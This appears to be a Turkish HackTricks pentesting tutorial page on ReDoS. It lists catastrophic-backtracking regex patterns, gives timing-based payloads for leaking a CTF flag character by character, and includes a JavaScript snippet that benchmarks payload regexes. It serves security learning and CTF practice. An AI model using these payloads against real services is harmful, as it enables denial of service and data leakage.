hacktricks/pentesting-web/regular-expression-denial-of-service-redos.md

106 lines
6.5 KiB
Markdown
Raw Normal View History

# Regular expression Denial of Service - ReDoS
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>HackTricks'i Destekleyin</summary>
2022-04-28 16:01:33 +00:00
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
# Regular Expression Denial of Service (ReDoS)
2021-01-26 13:51:43 +00:00
Bir **Regular Expression Denial of Service (ReDoS)**, birinin düzenli ifadelerin (metin içinde desenleri arama ve eşleştirme yöntemi) nasıl çalıştığındaki zayıflıkları kullanması durumunda meydana gelir. Bazen, düzenli ifadeler kullanıldığında, özellikle üzerinde çalıştıkları metin parçası büyüdüğünde çok yavaş hale gelebilirler. Bu yavaşlık, metin boyutundaki küçük artışlarla bile çok hızlı bir şekilde kötüleşebilir. Saldırganlar, bu sorunu kullanarak düzenli ifadeleri kullanan bir programın uzun süre düzgün çalışmasını engelleyebilirler.
2024-02-06 03:10:38 +00:00
## Problemli Regex Naïve Algoritması
2021-01-26 13:53:03 +00:00
**Detayları kontrol edin [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
2021-01-26 13:51:43 +00:00
## Kötü Regexler <a href="#evil-regexes" id="evil-regexes"></a>
2021-01-26 13:51:43 +00:00
Kötü bir düzenli ifade deseni, **özel olarak hazırlanmış girdi üzerinde takılı kalabilen** bir desendir. Kötü regex desenleri genellikle tekrar ve tekrar ile gruplama içerir veya tekrar eden grupta örtüşme ile alternatiflik içerir. Kötü desenlere bazı örnekler şunlardır:
2021-01-26 13:51:43 +00:00
2024-02-03 16:02:14 +00:00
* (a+)+
* ([a-zA-Z]+)*
* (a|aa)+
* (a|a?)+
* (.*a){x} for x > 10
2021-01-26 13:51:43 +00:00
Bunların hepsi `aaaaaaaaaaaaaaaaaaaaaaaa!` girdisine karşı savunmasızdır.
2021-01-26 13:51:43 +00:00
## ReDoS Payload'ları
2022-04-05 22:13:36 +00:00
### ReDoS ile Dize Sızdırma
2022-04-05 22:13:36 +00:00
Bir CTF'de (veya hata ödülü) belki de **Regex'in eşleştiği hassas bir bilgiyi (bayrağı) kontrol ediyorsunuzdur**. O zaman, **Regex eşleştiğinde (zaman aşımı veya daha uzun işleme süresi)** sayfanın **donmasını sağlamak** faydalı olabilir ve **eşleşmediğinde değil**. Bu şekilde, dizeyi **karakter karakter** **sızdırabilirsiniz**:
2022-04-05 22:13:36 +00:00
* [**bu yazıda**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) bu ReDoS kuralını bulabilirsiniz: `^(?=<flag>)((.*)*)*salt$`
2024-02-10 18:14:16 +00:00
* Örnek: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
* [**bu yazımda**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) bu örneği bulabilirsiniz: `<flag>(((((((.*)*)*)*)*)*)*)!`
* [**bu yazımda**](https://ctftime.org/writeup/25869) şunu kullandı: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
2022-04-05 22:13:36 +00:00
### ReDoS Girdi ve Regex Kontrolü
2021-01-26 13:51:43 +00:00
Aşağıdakiler, **girdiyi** ve **regex'i** **kontrol ettiğiniz** **ReDoS** örnekleridir:
2021-01-26 13:51:43 +00:00
```javascript
function check_time_regexp(regexp, text){
2024-02-10 18:14:16 +00:00
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
2021-01-26 13:51:43 +00:00
}
2022-04-05 22:13:36 +00:00
// This payloads work because the input has several "a"s
2021-01-26 13:51:43 +00:00
[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
2024-02-10 18:14:16 +00:00
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
2021-01-26 13:51:43 +00:00
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
```
2024-02-10 18:14:16 +00:00
## Araçlar
2021-04-16 09:25:21 +00:00
2022-04-27 12:34:57 +00:00
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
## Referanslar
2024-02-03 16:02:14 +00:00
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
2024-02-06 03:10:38 +00:00
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
* [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
2024-02-03 16:02:14 +00:00
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>HackTricks'i Destekleyin</summary>
2022-04-28 16:01:33 +00:00
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}